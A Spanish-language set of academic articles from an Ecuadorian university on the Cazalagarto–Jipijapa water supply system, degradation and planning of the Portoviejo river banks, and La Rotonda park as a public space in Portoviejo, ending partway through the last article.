El cantón Jipijapa históricamente ha venido padeciendo en cantidad, calidad y continuidad de este elemental líquido, factor que influye en su total desarrollo y bienestar de su población. Sin embargo, hay que considerar también factores negativos que han incidido en aquello como por ejemplo: aspectos naturales como es la carencia de fuentes cercanas de agua a la población que garanticen cumplir con la demanda requerida; por ello, siempre se recurrió a fuentes lejanas a Jipijapa como es el caso del cantón Pajan en años atrás, inclusive la Ex Junta de Recursos Hidráulicos (JRH) compraba agua al extinto CRM a través de una derivación que existía en la población de Lodana, y desde aquí por medio de una línea de conducción, llegar a Jipijapa.

Ante esta situación, la Ex JRH en el año 2004 toma la gran decisión de construir su propio sistema con los componentes: captación, conducción, tratamiento y distribución, siendo la fuente de agua en el sitio Cazalagarto de cantón Santa Ana.

OBJETIVO GENERAL

Describir y analizar los principales componentes del sistema de agua Cazalagarto – San Manuel.

OBJETIVOS ESPECIFICOS

- Analizar los principales componentes del sistema de agua Cazalagarto – Jipijapa.
- Analizar la falta de cantidad y continuidad de la entrega del líquido vital para Jipijapa.

OBJETIVO 1

Evaluar los principales componentes del sistema de agua Cazalagarto – Jipijapa.

En el año 2004 la Ex JRH inicia la construcción de su propio sistema de agua aprovechando la existencia de una línea de conducción construida años atrás por el desaparecido Centro de Rehabilitación de Manabí (CRM). El complemento de este sistema consistía en lo siguiente:

Captación: Localizada en el río Portoviejo, sitio Cazalagarto, cantón Santa Ana aguas abajo de la presa Poza Honda misma que regula los caudales en estiaje y crecidas del río. La captación es lateral y está construida al margen izquierdo aguas abajo del río.

En este lugar se realiza un tratamiento físico que consiste en sedimentación y filtración rápida con grava del agua cruda. Aquí se inicia la primera impulsión por medio de un sistema de bombeo conformado por tres grupos en paralelo, cada uno impulsa 75 lt/seg.

Conducción: Desde Cazalagarto se complementó la línea de conducción con tubería de PVC de 355 mm hasta la estación Las Balsas, a partir de este lugar existía una línea de tubería de hierro dúctil de 350 mm hasta San Manuel, pasando por dos estaciones de bombeo más, la estación Las Anonas y finalmente el último tramo impulsado desde Guesbol hasta la San Manuel. La longitud aproximada de toda la línea es de aproximadamente de 36 Km.

Tratamiento: En el sitio San Manuel, a 4 Km aproximadamente de la ciudad de Jipijapa se encuentra ubicada la Planta de Tratamiento de Agua Potable, es una planta modular tipo convencional que realiza, coagulación, decantación y filtración lenta con arena, fue fabricada en Brasil por la empresa DEGREMONT de Francia, la capacidad de tratamiento es de aproximadamente 10.000 m³/día, en condiciones normales.

Distribución: Aprovechando la topografía de la ciudad, en las partes altas y estratégicas se han construido tanques de almacenamiento para la distribución del líquido a través de los circuitos y redes de la ciudad.

OBJETIVO 2

Analizar la falta de cantidad y continuidad de la entrega del líquido vital para Jipijapa.

El gran problema de Jipijapa es la falta de continuidad del servicio del líquido vital, un inconveniente que aún no se logra superar, pese a que en la actualidad se cuenta con dos sistemas de agua, el antiguo y el actual, este último no ha sido entregado por los contratistas de la obra por algunas razones que ellos aducen. Sin embargo, la Empresa Pública Municipal de Agua Potable y Alcantarillado Sanitario de Jipijapa (EPMAPAS-J) se sirve de este sistema, aunque en condiciones no optimas en razón de que solo está operativo un grupo de bombeo por cada estación, el sistema antiguo se encuentra colapsado en sus equipos de bombeo, por lo tanto, no se encuentra en funcionamiento.

Otro de los aspectos a considerar, es el hurto del agua a lo largo de la línea de conducción, principalmente en el tramo comprendido entre Las Balsas y Guesbol. Esto es por las perforaciones clandestinas que los habitantes de estos sectores hacen a la tubería para instalar mangueras y obtener agua para los sembríos y crianza de animales. Se dice que existen cientos de estas guías lo cual merma considerablemente el volumen del líquido que se transporta hacia la planta de tratamiento de San Manuel. Este problema viene arrastrándose desde hace algunos años, pero en la actualidad se ha incrementado.

En la actualidad la producción de agua tratada está en 4.000 m³/día aproximadamente, posiblemente por las causas señaladas, cubriendo a duras penas un 40 % aproximadamente de la necesidad básica requerida. Esto demuestra que existe un déficit de agua de un 60 % aproximadamente.

Para suplir la demanda de Jipijapa se necesita un volumen aproximado de agua potable de 9.500 m³ diarios, considerando una población urbana de 48.000 habitantes, con una dotación 200 Lt/hab/día.

MATERIALES Y METODO

- Información digital de estudios y diseños.
- Planos

MÉTODOS:

- De campo
- Deductivo - Inductivo

RESULTADOS Y DISCUSIÓN

Para mejorar la calidad de vida de los habitantes de Jipijapa y el progreso de la ciudad, es de suma urgencia la solución de la entrega de manera continua la dotación de agua. De superarse este gran inconveniente la ciudad con toda seguridad se desarrollará de manera acelerada, para el beneplácito de todos sus habitantes, debiendo tomarse en consideración el segundo objetivo.

CONCLUSIONES

- La falta del líquido elemento se origina principalmente por problemas de transportación, en razón que el sistema viejo no está operativo, y el nuevo no ha sido concluido por lo tanto no funciona en toda su capacidad.
- Otro de los factores que disminuye el caudal de transportación, definitivamente son las guías clandestinas a lo largo de casi toda la línea de conducción. considerar, es el hurto del agua a lo largo de la línea de conducción, principalmente

REFERENCIAS BIBLIOGRÁFICAS

(Organización Mundial de la Salud (OMS), 2017).

Caminosca, (2004). Sistema de Agua Potable Lodana-Jipijapa. Jipijapa.

Corpconsul, (2009). Evaluación y diseños definitivos de la conducción hasta San Manuel, estaciones de bombeo y sub-estaciones eléctricas que permitan optimizar el acueducto Cazalagarto-Jipijapa.

EL RIO PORTOVIEJO, TERRITORIOS Y PROYECTOS

Arq. Miguel Terán García

Arq. Verónica Arévalo Vélez

Diego Quispe Robles

(Entregado 01/marzo/2019 – Revisado 16/04/ 2019)

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: diegoq15@hotmail.com

Teléfono: 0961044640

RESUMEN

La provincia de Manabí situada en la costa ecuatoriana, ha tenido un considerable crecimiento como consecuencia del funcionamiento del sistema económico, social y político, donde el primer puerto (Manta), junto a la capital de la provincia (Portoviejo), constituyen centros polarizadores de la mayor parte de la actividad comercial industrial y administrativa de este territorio de Ecuador. El objetivo de este trabajo es determinar las características esenciales del uso indiscriminado de las riberas del río Portoviejo, para recuperar su sistema natural a partir de la eliminación de los impactos que lo degradan en el tiempo. El estudio cualitativo empleado para la ejecución de este trabajo, a través de las metodologías: descriptiva, exploratoria y de campo, del estudio histórico-lógico de cómo fueron evolucionando las márgenes del río de Portoviejo con el desarrollo de esta ciudad capital de todos los manabitas, se determinó a través del análisis de documentos y de fotografías, las características esenciales del uso indiscriminado de las riberas del río Portoviejo, para recuperar su sistema natural a partir de la eliminación de los impactos que lo degradan en el tiempo, emplearon métodos teóricos y empíricos para caracterizar el objeto de estudio y su procesos de evolución; lograr su funcionamiento natural y auto sostenible para desarrollar actividades productivas que mejoren la calidad de vida de la población para crear espacios públicos que propicien nuevos enfoques medioambientales.

Palabras claves: territorios, riberas, ríos, proyectos y medio ambiente.

SUMMARY

The province of Manabi located on the Ecuadorian coast, has had a considerable growth as a result of the functioning of the economic, social and political system, where the first port (Manta), together with the capital of the province (Portoviejo), are polarizing centers of most of the industrial and administrative commercial activity of this territory of Ecuador. The objective of this work is to determine the essential characteristics of the indiscriminate use of the banks of the Portoviejo River, to recover its natural system from the elimination of the impacts that degrade it over time. The qualitative study used for the execution of this work, through the methodologies: descriptive, exploratory and field, of the historical-logical study of how the margins of the Portoviejo river were evolving with the development of this capital city of all the Manabitas, it was determined through the analysis of documents and photographs, the essential characteristics of the indiscriminate use of the banks of the Portoviejo river, to recover its natural system from the elimination of the impacts that degrade it over time, using theoretical methods and empirical to characterize the object of study and its processes of evolution; achieve its natural and self-sustainable operation to develop productive activities that improve the quality of life of the population to create public spaces that propitiate *new environmental approaches*.

Keywords: territories, banks, rivers, projects and environment.

INTRODUCCIÓN

Las transformaciones del área central del cantón Portoviejo

Portoviejo con un área de influencia que abarca no sólo su nivel urbano sino las zonas más recónditas del área rural, constituye un sistema urbano dominante al captar gran parte del excedente generado por la producción agro exportadora, gracias a su localización estratégica que le permitió vincularse al mercado nacional y externo, que contribuye a diversificar su rango y escala de actividad a nivel urbano y regional. Esta combinación de circunstancias, origina el rápido proceso de crecimiento de la población urbana, con prioridad en las altas tasas de movimiento migratorio campo – ciudad, lo cual incide en la formación de zonas urbanas diferenciadas, con grandes contrastes sociales, económicos y físicos.

Los sistemas urbanos centrales.

Portoviejo es uno de los cantones del país con mayor crecimiento poblacional en las dos últimas décadas; su población urbana según Censo de Población y VI de Vivienda 2010, realizado el 28 de noviembre del 2010, era de 206.6822, en su área urbana y 16.404 en su periferia (población rural). (INEC, 2010). Comparte con la ciudad de Manta la hegemonía urbana de la provincia de Manabí y entre las dos ciudades, separadas 30 Km entre sí, se ha formado un eje de desarrollo muy importante determinado por el impulso del sector secundario de la producción y en la intensa movilidad poblacional; estos factores han determinado que sea uno de los más importantes del sector industrial a nivel de país.

El cantón Portoviejo abarca 6 parroquias rurales: San Plácido, Alajuela, Calderón, Pueblo Nuevo, Río Chico y Crucita, cada una de ellas con cabeceras parroquiales de una relativa

importancia urbana, que tienen un significativo rol como pequeños centros de intercambio de la producción agrícola del valle del río Portoviejo y como puntos intermedios de la movilidad poblacional entre los recintos circundantes; todas estas cabeceras parroquiales se encuentran a una distancia promedio de 30 Km, con relación a la ciudad de Portoviejo, que están unidas por carreteras asfaltadas.

Cuenta la capital provincial con 6 parroquias urbanas; la dos más antiguas, “Portoviejo”, ubicada sobre la margen derecha, del río y “Andrés de Vera”, sobre la margen izquierda y las parroquias de “18 de octubre” y “12 de marzo”, que constituye una ampliación de la primera y las parroquias “Cristóbal Colón”, hacia al extremo suroeste de la ciudad y la de “Picoazá”, al extremo noroeste; estas dos últimas y antiguas parroquias rurales fueron elevados a nivel urbano hace años atrás.

Este conjunto de centros urbanos que giran alrededor de la capital han llegado a conformar una importante zona de intercambio, cuyas características determinan una intensa y fuerte movilidad social – económica dentro de un radio de 30 Km, alrededor de la ciudad de Portoviejo y, su población urbana va más allá de los límites de la llamada “área urbana”, establecida por la nomenclatura censal.

En la ciudad de Portoviejo, no se aprovechan las excelentes condiciones naturales, que se han perdido por la indolencia y la falta de decisión de los organismos de gestión y de la

propia población, que por falta de conciencia no protegen estos espacios naturales para uso del tiempo libre, que se han deteriorado ecológicamente, ya sea por la disminución de sus áreas, ocupadas para fines e intereses particulares o por el uso inadecuado de estos territorios; existen dos elementos naturales, ecológicamente que no se aprovechan: las colinas que rodean la ciudad y las riberas del río que lleva su nombre, que atraviesa la zona urbana. Este antecedente del proceso territorial del cantón Portoviejo se enmarca en el plan estratégico del GAD provincial Manabí y donde se prevé dar solución a esta problemática que es objeto de estudio y planificación donde están inmersos cuatro cantones: Portoviejo, Santana, Rocafuerte y Sucre.

MÉTODOS

La investigación del proyecto es un estudio cualitativo, la metodología es exploratoria, descriptiva, es un estudio de campo, sistemático de los hechos en el lugar en que se producen los acontecimientos, explorar en forma directa el contexto seleccionado como campo de acción, para obtener información de acuerdo con los objetivos del proyecto y considerar la conveniencia y accesibilidad.

Las observaciones durante la inmersión inicial en el campo son múltiples, generales y con poco enfoque o dispersas (para entender mejor al sitio y a los participantes o casos). Al principio, el investigador debe observar lo más que pueda, pero conforme transcurre la investigación, va centrándose en ciertos aspectos de interés y se vinculan más con el planteamiento del problema, que al ser flexible se puede ir modificando de acuerdo con las necesidades y objetivos propuestos para el estudio (Sampieri, 2012)

RESULTADOS Y DISCUSIÓN

Desarrollo

El gran crecimiento demográfico que ha experimentado la ciudad de Portoviejo en las últimas décadas analizadas, centra la atención en algunas de las características demográficas del sector involucrado en el estudio; alrededor del río, tanto en su margen izquierda como derecha, estuvo históricamente asentada la población de la ciudad, conformando lo que hoy viene su casco antiguo. Los motivos de esta implementación señalados antes, justifican la presencia del puerto fluvial y la necesidad de abastecimiento de agua entre las parroquias. La población asentada en la margen derecha corresponde a la parroquia “Portoviejo” y la asentada en la margen izquierda conforma la parroquia “Andrés de Vera”; la separación física entre dos sectores motivada por la presencia natural del río, esta división física determinó también una clara segregación social evidenciada con el asentamiento de la población de mayores niveles económicos en la margen derecha del río, en la parroquia “Portoviejo” y la población pobre se asentó en la parroquia “Andrés de Vera”.

Las causas de esta segregación social resultan comprensibles, a simple vista; el núcleo antiguo de la ciudad en la margen derecha del río, teniendo como centro generador de la malla urbana del parque central, alrededor del cual se instala, como es lógico, las funciones representativas y de gestión administrativa de la ciudad, en este núcleo construyen sus viviendas las poblaciones de mayores condiciones económicas y la característica topográfica

de esta área conformada por terrenos llanos y extensos permiten un adecuado amanzanamiento de la trama urbana y el futuro crecimiento de la ciudad.

En cambio, al otro lado del río, en la margen izquierda, la superficie de terreno plano disponible se estrecha entre las faldas del cerro “Andrés de Vera” y el propio cauce del río no favorece la construcción de la malla urbana y su futuro crecimiento. La estación del ferrocarril se construyó para permitir un eje continuo de comunicación mediante la línea férrea Santa Ana, Portoviejo, Montecristi y Manta, salvando el escollo que significaba el río y el peligro de sus cíclicas crecidas, y como resultado un magnífico ejemplo de lógica planificación.

Constituida entonces en la parroquia “Andrés de Vera”, la estación del ferrocarril, genera alrededor de toda aquella infraestructura complementaria, talleres de mantenimiento, bodegas y depósitos, que originan el asentamiento de la población pobre que vendía su fuerza de trabajo en actividades del ferrocarril, en especial el estiaje, además las características topográficas de este sector, que ya fueran señaladas, favorecen la construcción de las precarias viviendas de las personas pobres en las faldas del cerro, donde los terrenos carecían de valor comercial. Queda definida así la mayor concentración poblacional en estas dos parroquias antiguas y a lo largo del eje del río, que permitía un directo abastecimiento de agua, no sólo para satisfacer las necesidades vitales de la población, sino también para enfrentar los frecuentes incendios que azotaban a la ciudad, dadas las frágiles características constitutivas de las viviendas.

Los factores que ha incentivado la expansión de estos sectores es el “callejón de crecimiento” que constituye la Av. “15 de abril”, importante arteria vial que comunica Portoviejo con la parroquia “Colón”, elevada a parroquia urbana, a mediados de la década del 70 y terrenos, de una tradicional vocación agrícola a suelo urbano, elevando el precio de la tierra de este sector de la ciudad. La calle “15 de abril” se prolonga hacia al sureste transformándose en la carretera que une Portoviejo con el cantón Santa Ana, que ha sido uno de los más importantes viveros

de la capital manabita. También el crecimiento poblacional de la parroquia “Andrés de Vera” y la presencia de la terminal terrestre, constituido en un polo de crecimiento, consolidando de este modo un área urbana de significativa densidad, que reúne una población estable de aproximadamente 45.00 habitantes.

La población asentada en la parroquia “Andrés de Vera”, sumada a la población que contiene la parroquia “Portoviejo” en el área inmediata al río, representan una población total aproximada del sector 60.000 habitantes, que equivale el 78% de la población total de área urbana; se debe considerar que a lo largo de todo el eje del río y no en las dos márgenes, existe un importante asentamiento poblacional que va desde el sector llamado de “El Guabito” hasta la parroquia “Picoaza”, que fuera elevada también a nivel urbano por la misma época que la parroquia “Colón”, su población aproximada es de 120.000 habitantes.

En términos de la estructura socioeconómica, esta población representa un alto porcentaje

de los estratos medios y bajos; el plan de desarrollo de la ciudad estipula como política general, para detener el crecimiento horizontal de la mancha urbana hacia el norte, una estrategia dirigida a consolidar esta área, llenando los espacios vacíos todavía existentes y lograr un equilibrio poblacional de forma equitativa entre las dos zonas urbanas de la ciudad de Portoviejo. Los futuros programas masivos de vivienda se construyan en terrenos vacantes vinculados con los márgenes del río y que espacios verdes sirvan de expansión y contrarrestar la errada política de las instituciones viviendas, de implantar conjuntos habitacionales en la periferia urbana. El territorio se extiende más allá siempre diferente de lo que sabemos de él, a lo que vemos de él, o a lo que queremos de él. (Corboz, 2004)

Estas directrices del plan han sido acogidas por instituciones públicas y privadas destinadas a la construcción de conjuntos masivos de vivienda y se observa como en los últimos 15 años, a partir del momento en que se puso en vigencia el PDUR, que ciertas instituciones han planificado y algunas inclusive han construido por la Mutualista “Manabí” entre las calles “Medardo Cevallos” y “26 de Septiembre”, el conjunto “Las Acacias”, promovido por la Cooperativa “Andrés de Vera”, proyectos que se encuentran relacionadas con las márgenes del río; además el programa “Riberas del Río”, se encuentra planificado por la JNV, en los terrenos vacíos que fueran del antiguo cuartel militar y otros proyectos que se encuentran en trámite como por ejemplo el programa “Las Vegas”, que mejorará la estructura territorial de la ciudad.

Resultados

PROCESO URBANO DE LA CIUDAD PORTOVIEJO

Intervención urbana en la margen derecha del río Portoviejo tramo puente San José – Puente Velasco- Ibarra de la ciudad de Portoviejo

El presente trabajo está dirigido a transformar la parte de las márgenes del río Portoviejo a través de la planificación y el diseño urbano, se trata de evitar la constante agresión al río ya sea por la falta de conocimientos de la población o de firmeza de autoridades en proteger las márgenes del río, según normas legales de la ley de agua y las ordenanzas municipales que regulan la urbanización de las riberas de los ríos hasta 50 metros de retiro desde el borde, está área es zona de preservación cuyo uso será comunal y recreativo, con este trabajo se pretende integrar el río a la ciudad como atractivo turístico; el estudio general de la ciudad de Portoviejo

que se proyecta, establece cuales son las particularidades a transformar en lo físico, espacial, socioeconómico, demográfico, medio ambiental y aspecto de recreación y de esparcimiento colectivo; estos elementos de análisis son la base primordial del desarrollo de la propuesta.

El plan de Desarrollo Urbano Rural (PDUR) de Portoviejo es un instrumento jurídico – urbano, que establece como uno de los programas prioritarios para lograr el desarrollo coherente y armónico de la ciudad, el rescate impostergable del río Portoviejo y sus riberas; cuyo propósito se encuentra inscrito dentro del programa general de equipamiento comunitario para la población; este plan estipula rescatar el propio cauce del río, que en la actualidad se encuentra en un avanzado proceso de deterioro y, el mismo tiempo, una utilización apropiada de las márgenes del río para uso recreativo de la población. (Constitución de la República del Ecuador, 2016)

Los principales factores que determinan el deterioro del río y sus consecuencias son:

1.-Pérdida paulatina del volumen del cauce del río.

Prolongados períodos de sequía, debido a la irregularidad en tiempo y volumen de precipitación pluvial de los inviernos.

Inundaciones cíclicas de las riberas del río, que se producen aproximadamente cada diez años por causa de las fuertes lluvias, debido al fenómeno natural de el “Niño”, que ha provocado desbordamiento del río, más arriba de su cauce normal.

Sedimentación paulatina del lecho del río, por causa de la acumulación de residuos y desechos que se han ido depositando durante los períodos de sequía.

Disminución del caudal de agua proveniente de los afluentes superiores por el represamiento de “Poza Honda”

2.-Contaminación de las aguas del río.

Insuficiencias en el uso del sistema separado de la red de alcantarillado (aguas lluvias y servidas independientes) que por negligencia las personas eliminan las aguas negras hacia el río.

Se incrementaron industrias y negocios, cuyos desechos líquidos y sólidos se están eliminando hacia el cauce del río.

Disminución del uso que tradicionalmente tuvieron como huertos frutales, dedicados al cultivo del mango y de la existencia de frondosos bosques de mangos.

Descuido en el mantenimiento de estos espacios por parte de los propietarios privados de estos bosques.

Irresponsabilidad de ciertos sectores de la población que han convertido a las márgenes del río “botadores” de basura y desechos de materiales de construcción, problema acentuado por la falta de control, al respecto.

Disminución de su uso como espacios de esparcimiento y descanso por parte de la propia población, debido al crecimiento habitacional hacia otros sectores de la ciudad y la búsqueda de otros espacios de esparcimiento hacia el interior de la ciudad o hacia las playas cercanas.

OBJETIVOS

- Determinar las características esenciales del uso indiscriminado de las riberas del río Portoviejo para recuperar su sistema natural a partir de la eliminación de los impactos que lo degradan en el tiempo y lograr su funcionamiento natural y autosostenible.
- Desarrollar actividades productivas que mejoren la calidad de vida de la población para crear espacios públicos que propicien nuevos enfoques medioambientales.

La propuesta en términos generales está destinada a preservar y controlar los recursos naturales que constituyen las márgenes del río Portoviejo, en el sector de mayor consolidación urbana, para incorporarlas a usos educativos, recreacionales, habitacionales, comerciales y de conservación del medio ambiente.

Dicha propuesta está constituida por tres componentes:

- 1.- **Acciones básica**, en la que se contempla los lineamientos a seguir para la consecución de la intervención urbana.
- 2.- **Sectorización**, en la cual se propone el emplazamiento de las distintas instalaciones de acuerdo a sus características intrínsecas y a las del área específica.
- 3.- **Proyectos**, que comprenden las formulaciones y conceptos básicos para la realización material de los objetivos y metas de la intervención urbana.

Las disputas por el control de la tierra y los recursos naturales han sido una constante en la historia de América Latina, a inicios del siglo XXI, un nuevo conjunto de procesos de transformación de los territorios rurales, que involucran tanto a viejos como a nuevos actores, están teniendo lugar en el continente como resultado de la realocación del capital a nivel global. (Landívar, 2016)

Dentro de la propuesta sobre la base de estos objetivos y componentes analizados se direcciona el avance de la elaboración de un marco conceptual capaz de identificar los diferentes procesos de acaparamiento de los territorios, vincularlos a sus causas y diferenciando las relaciones entre la diversidad de actores plantear algunas hipótesis sobre los procesos urbanos.

La Nueva Agenda Urbana ayudará a eliminar la pobreza y el hambre en todas sus formas y dimensiones, a reducir inequidades, promoviendo un crecimiento económico sostenido, incluyente y sostenible, a alcanzar la equidad de género y el empoderamiento de todas las mujeres y niñas, a mejorar la salud y el bienestar humano, así como a fortalecer la resiliencia y a proteger el medioambiente.

También reconoce que la cultura y la diversidad cultural son fuente de enriquecimiento de la humanidad y aportan una importante contribución al desarrollo sostenible de las ciudades, asentamientos humanos y ciudadanos, empoderándolos para jugar un papel activo y único en el desarrollo de iniciativas; y además reconoce que la cultura debe tomarse en cuenta en la promoción e implementación de nuevos patrones sostenibles de consumo y de producción que contribuyan al uso responsable de recursos y enfrenten el impacto adverso del cambio climático.

La protección, conservación, restauración deben promover el cuidado de sus ecosistemas, agua, habitantes naturales y su biodiversidad, minimizando el impacto al medio ambiente y cambiando hacia patrones sostenibles de consumo y producción.

La planeación urbana y territorial integral, incluyendo la planeación de las extensiones urbanas basadas en los principios de uso de la tierra y de los recursos naturales equitativo, eficiente y sostenible, de compactación, policentrismo, de apropiada densidad y conectividad, múltiple uso del espacio, así como usos sociales y económicos mixtos en las áreas construidas, prevenir la expansión urbana para reducir los desafíos y las necesidades de la movilidad, el costo per cápita del suministro de servicios y aprovechar la densidad, las

economías de escalas y la aglomeración, cuando sea apropiado. (Lezama, 2006)

Como resultado del análisis del proyecto y su evaluación crítica de la planificación territorial es necesario integrarla a través de regulaciones urbanas, creando mecanismos más eficientes y eficaces para evitar la segregación de barrios populares y extensas áreas de recursos naturales como lo son los ríos.

CONCLUSIONES

La determinación de las características esenciales del uso indiscriminado de las riberas del río Portoviejo, permitió el mejoramiento del ecosistema, la recuperación de su sistema natural a partir de la eliminación de los impactos que lo degradan en el tiempo y lograr su funcionamiento natural y auto sostenible.

El desarrollo de actividades productivas contribuyó a mejorar la calidad de vida de la población para crear espacios públicos que propicien nuevos enfoques medioambientales como parques naturales, zonas de recreo y áreas verdes en el sector de mayor consolidación urbana, para incorporarlas a usos educativos, recreacionales, habitacionales, comerciales y de conservación del medio ambiente.

REFERENCIAS BIBLIOGRÁFICAS

Organización Mundial del Turismo. (2004). El desarrollo sostenible y el turismo. Madrid: OTM.

Bohigas, O. (2015). En defensa de la urbanidad. Buenos Aires.

Borja, J, & Muxi, Z. (2015). Componentes de la ciudad. Argentina.

CEPAL. (2002). Las nuevas funciones urbanas: gestión para una ciudad sostenible. Santiago de Chile: Milenio.

Constitución de la República del Ecuador. (2016). Biodiversidad y Recursos Naturales. Quito: Ministerio del Ambiente.

Corboz, A. (2004). El territorio como palimpsesto. París.

GAD Portoviejo. (2011). Plan de Desarrollo y Ordenamiento Territorial . Portoviejo: GAD.

Hernández, A. (2016). Urbanismo participativo. Construcción social del espacio urbano. Revista de Arquitectura nro. 18, 6-18.

INEC. (2010). Censo de Población . Portoviejo: INEC.

Landívar, N. (2016). TIERRAS, TERRITORIOS Y PROCESOS TERRITORIALES: Planteamientos teóricos y análisis de los procesos de acaparamiento de tierras y territorios en Ecuador. Quito: FIAN.

Lezama, D. &. (2006). Medio ambiente y sustentabilidad urbana. Toluca jul./sep. vol.12 no.49, versión impresa ISSN 1405-7425.

Sampieri, H. (2012). Metodología de la investigación. Quinta Edición. México D.F.: The McGraw-Hill Companies.

Wirth, L. (2010). Urbanismo como forma de vida .

BIOGRAFIA DE AUTORES

Mg. A.D.U. Arq. Miguel Terán García

Docente de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

Dirección Domiciliaria: Portoviejo - Manabí

Correo Electrónico: mtetxtmt@yahoo.es

Teléfono: 052359 199 / 0986875396

Diego Quispe Robles

Estudiante de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

Dirección Domiciliaria: Jipijapa - Manabí

Correo Electrónico: diegoq15@hotmail.com

Teléfono: 0961044640

Arq. Verónica Arévalo Vélez

Dirección Domiciliaria: Mata - Manabí

Correo Electrónico: velu_avt@hotmail.com

Teléfono: 0993040489

ESPACIOS PÚBLICOS Y CIUDAD. LA ROTONDA, PORTOVIEJO MANABÍ

Arq. Miguel Terán García

Arq. Verónica Arévalo Vélez

Rómulo López Delgado

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ - FACULTAD DE CIENCIAS TÉCNICAS - CARRERA DE INGENIERÍA CIVIL

mtetxtmt@yahoo.es

velu_avt@hotmail.com

r.lopezdelgado21@gmail.com

RESUMEN

Este trabajo de investigación reúne los aspectos positivos importantes del debate sobre el espacio público en la ciudad de Portoviejo, el diseño del espacio en las ciudades está dirigido a la recreación para la transformación de ámbitos que mejoren la imagen y el desarrollo sostenible de la población. La rotonda es un proyecto recreativo, su objetivo es analizar la relación entre los equipamientos urbano, que marca un antes y después de la organización urbana de la ciudad de Portoviejo. El estudio realizado es cualitativo, la metodología es exploratoria, descriptiva y bibliográfica, que se ejecutaron a través de métodos teóricos como el análisis- síntesis, abstracción, histórico-lógico para estudiar cómo evolucionó este proceso en esta ciudad, dentro de los empíricos, se aplicaron entrevistas a expertos en el tema, observaciones y análisis documental, para obtener información y entender, verificar, analizar, corregir o aplicar el conocimiento sobre y la prognosis e imagen del objetivo en planos. Los resultados de carácter preventivo, permitieron una mejor utilización de estos espacios que están dirigidos a la recreación de la población, mejorar el paisaje natural urbano a partir de un desarrollo sustentable y conservación natural de la ciudad de Portoviejo.

PALABRAS CLAVES: control urbanístico, ciudad y espacios públicos

ABSTRACT

This research work brings together the aspects of the results, the themes, the debates, the public spaces, the city of Portoviejo, the design, the space, the cities. The rotunda is a recreational project, its objective is the relationship between urban teams, the brand before and after the urban organization of the city of Portoviejo. The study is qualitative, the methodology is exploratory, descriptive and bibliographic, which is carried out through theoretical methods such as analysis, synthesis, abstraction, historical-logical to study how this process evolves in this city, within the empirical ones, We apply interviews to experts in the subject, observations

and documentary analysis, to obtain information and understand, verify, analyze, correct or apply the knowledge about the prognosis and the image of the objective in the plans. The results of preventive nature, allow a better use of these spaces that are aimed at the recreation of the population, improve the natural urban landscape from a sustainable development and natural conservation of the city of Portoviejo.

KEYWORDS: urban control, city and public spaces.

INTRODUCCIÓN

Antes de la construcción del proyecto este espacio fue una mezcla de área recreativa activa y pasiva y de equipamiento deportivo de la universidad técnica de Manabí con el pasar de los años fue perdiendo su condición de espacio recreativo hasta convertirse en lugar peligroso e inseguro hasta llegar a la ser un zona deprimida en su totalidad donde el parque estaba inmerso en esta condiciones este espacio quiso ser rehabilitado, con la participación de prestantes ciudadanos portovejenses quienes crearon la fundación la rotonda sin mayor éxito debido a la falta de apoyo, para su mantenimiento y cuidado.

El parque se construyó en un terreno de quince hectáreas que fue entregado en comodato por la universidad técnica de Manabí al gobierno autónomo descentralizado municipal de Portoviejo, es así que se inaugura en octubre del dos mil diecisiete, el parque cuenta con la regeneración de la avenida Antonio Menéndez, en su parte interna contempla cinco piletas y lagos artificiales una de ellas con pantalla y juegos de luces, canchas deportivas, pista de skateboard, ciclo vías y camineras entre otras. Además existe un área comercial para negocios privados locales y nacionales, un espacio abierto para espectáculos artísticos con una plaza central y espacio destinado para espectáculos culturales y artísticos que se mezclan en un entorno mágico con los chorros de agua y luces de la pileta central cuenta también con locales comerciales y paseos peatonales, la circulación peatonal en mayor parte se la realiza en un carril de la avenida Antonio Menéndez, esta área se complementa con un corredor vehicular de moderada velocidad y una ciclo vía, además el parque cuenta con espacios destinados a la

recreación infantil y maquinas distribuidas de manera estratégica para actividad física, y parqueaderos de automotores motos y bicicletas.

MÉTODOS

Es un estudio cualitativo, el tipo de metodología es exploratoria, descriptiva, bibliográfica, de campo y sistemático, fenomenológico de los hechos en el lugar en que se producen los acontecimientos, explorar en forma directa el contexto seleccionado como campo de acción, para obtener información de acuerdo con el objetivo propuesto y considerar la conveniencia y accesibilidad.

La revisión de la literatura puede servir en el planteamiento del problema cualitativo inicial; pero el fundamento no se circunscribe o limita a dicha revisión, su papel es más bien de apoyo y consulta. La investigación cualitativa se basa, ante todo, en el proceso mismo de recolección y análisis, que es interpretativa, ya que el investigador hace su propia descripción y valoración de los datos (Sampieri, 2012)

Las observaciones realizadas y entrevistas, durante la inmersión inicial en el campo son múltiples, los autores de esta investigación se centraron en ciertos aspectos de interés y se vinculan más con el planteamiento del problema, de acuerdo con las necesidades y objetivos propuestos.

RESULTADO Y DISCUSIÓN

DESARROLLO

En defensa de la urbanidad se debe reconocer el protagonismo social y estético del espacio urbano se ha extendido en ciudades latinas, pero con mayor impacto en ciudades europeas como es el caso de Barcelona en España donde se encuentran las primeras realizaciones de rehabilitación y reconstrucción del espacio público. Es importante resaltar que durante los últimos años se han desplegado frentes polémicos en contra esta teoría, unos frentes que se presentan amparados en diferentes disfraces de modernidad y que, precisamente por eso, se tornan peligrosos como lo afirma Borja y Muxi; en su libro ciudad y ciudadanía uno de estos frentes se origina por la importancia de la forma urbana, la forma diseñada para vivir colectivamente y para la representación de la colectividad.

Hay muchos que mantienen que el diseño de la forma urbana no es una categoría moderna, sino un lastre del pasado burgués, y aseguran que la ciudad moderna viene dada por modelos americanos en los que predomina el terreno desordenado, sin duda que esta tendencia explosiva y desordenada -- discontinua -- proviene de un sistema de uso del suelo impuesto por los intereses particulares del mercado por encima de las necesidades colectivas, cada vez más lejos del soporte de un control urbanístico, otro frente relacionado con el espacio público es el factor de aglutinamiento social y de creación de identidades, esta aglutinación puede convertirse en un elemento negativo para la buena convivencia en libertad. (Lezama, 2006)

El mantenimiento del espíritu de vecindad, el refuerzo de las identidades a través de la forma, la aceptación de la imagen representativa de lo que es público, puede acabar enmascarando la realidad de los problemas incontenibles de la vida colectiva; la ciudad radical libre sería la ciudad sin forma, sin barrios, sin calles ni plazas. Una ciudad en la cual el espacio público no sea urbano. (Bohigas, 2015)

